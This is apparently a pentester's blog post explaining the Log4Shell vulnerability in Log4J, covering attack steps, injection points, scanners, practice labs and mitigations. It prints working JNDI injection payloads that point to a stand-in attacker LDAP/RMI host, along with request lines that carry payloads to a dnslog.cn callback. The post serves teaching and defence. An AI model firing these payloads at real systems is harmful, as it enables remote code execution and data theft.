Things I learned this week about Log4J Vulnerability

Last Thursday, a vulnerability was disclosed in the Log4J logging library affecting many Java Applications worldwide. The vulnerability is dubbed as Log4Shell (CVE-2021–44228) ; it allows an attacker to inject a crafted payload anywhere in the requests that get parsed and executed by the vulnerable application.

There are a lot of resources out there on Twitter, Redditt, and YouTube about this epic vulnerability. I wanted to create this post to summarize the main things I learned, ways to test it as pentester, and the mitigation controls that help prevent the exploitation of this vulnerability.

$_Vulnerability_Overview:

Log4Shell vulnerability is a Java JNDI injection. (not a new vulnerability, there was a Blackhat talk in 2016 about it by by Alvaro Munoz & Oleksandr Mirosh.
Older versions of the library 1. x are not vulnerable to code execution, the logs are encapsulated in string format as they should be, and they don’t get parsed.
Interestingly, the vulnerability was introduced with the new JNDI lookup feature in version 2.0–2.15.0 that allows any inputs to be parsed and interpreted by the application no matter where it originates. These include web applications, databases, email servers, routers, endpoint agents, mobile apps, IoT devices — you name it (if it runs Java, it could be vulnerable).

Below is an excellent diagram by Rob Fuller (@mubix) showing this vulnerability’s impact. It was scary when I started looking around the room for all the devices that could be vulnerable. I tested my phone, fitness watch, and washing machine (because why not!!) through its mobile app.

I got DNS callbacks from all of them. 😱

twitter.com/mubix/status/1470430085169745920

JNDI — Java Naming Directory Interface is an API that allows the java application to perform searches on objects based on their names. It supports several directory services like LDAP, RMI, DNS, CORBA.
Most of the payloads I have seen using LDAP, DNS, and RMI protocols to perform the DNS requests.
For the RCE pocs, the attacker needs to set up an LDAP server to allow the vulnerable application to connect to it. So, the targeted applications must allow LDAP outgoing connections to the attacker-controlled server to load the malicious object.
DNS requests are insufficient to confirm if the application is vulnerable to remote code execution. However, it is still impactful, as these requests can exfiltrate sensitive data that helps compromise the targets.

$_Impact

Data Exfiltration through DNS.
Remote Code Execution with malicious Java objects and Rogue LDAP servers.

$_Patched_Version

Log4J version 2.17 is patched. 2.15.0 and 2.16.0 patches were bypassed while writing this article.

$_Attack_Steps💻

The attacker sets up a rogue LDAP server, creates an exploit payload class, and stores it as an LDAP object such as “Log4JPayload.class” to get referenced later.
Then, the attacker inserts the crafted JNDI injection to anywhere of requests that are likely to be logged, such as the request paths, HTTP headers, Filenames, Document/Images EXIF etc. (see below injection points).

Payload Examples:

${jndi:ldap://attackermachine:portnumber/Log4JPayload.class}

${jndi:rmi://attackermachine:portnumber/Log4JPayload.class}

When the malicious requests get logged, the Log4J library will parse the injected inputs and reach out to the rogue LDAP server to load the malicious class. The application then executes the referenced class, and the attacker gains remote code execution on the vulnerable application.

$_Injection _Points

Request paths

GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1

GET /api/v1/creat/${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1

HTTP Headers — You can inject the payloads in any HTTP Headers. All of them are valid injection points when conducting an application testing. Musa Şana compiled a more extensive list.

It is essential to remember that the exploit doesn’t result in an immediate callback all the time; it sometimes takes minutes to hours to get something back. I waited around 25 minutes before getting the first callbacks from my watch when I tested it. So for black-box testing, give the application sufficient time before deciding is vulnerable or not. Be patient ⏰!!

$_Payloads

There are so many payloads posted on Twitter in the last couple of days that are worth going over. Some payloads use obfuscation to bypass the popular WAFs like Akamai, Cloudflare, and AWS WAF.

$_Data_Exfiltration_Examples

$_Auotmated_Checks

Burp Extensions: Log4Shell Scanner
Log4J Scanner by mazen160
Nuclei Template for Log4 J— id: CVE-2021–44228
Nmap NSE Script — nse-log4shell

$_DNS_Log_Monitor_Services

To quickly test the application, we use the below services to create a DNS token for our payload and see if we callbacks.

Canary Tokens
DNSlog.cn
Interactsh
Burp Collaborator

$_Vulnerable_Apps_to_Test:🔥

Log4jPwn — github.com/leonjza/log4jpwn
Log4Shell — github.com/kozmer/log4j-shell-poc
PentestLabs Challenges : Log4J RCE , Log4J RCE II
TryHackMe Solar Room by John Hammond — tryhackme.com/room/solar [free room]

$_Mitigations

Upgrade to the latest version of Log4J — v2.17.0. The recent patches for v2.15.0 and 2.16.0 were bypassed according to Mazen160 and Jhaddix Tweets.

Disable lookups within messages log4j2.formatMsgNoLookups=true
Remove the JndiLookup class from the classpath zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Apply firewall rules to limit communications to only a few allowable hosts, not with everyone. Mick Douglas explains it well in his Tweet about the IMMA model “Isolate,” “Minimize,” “Monitor,” and “Active Defense” !!

That’s all for today. This was a hell of a week; I learned many new things about Java injections and exploitation.

Thanks for reading!!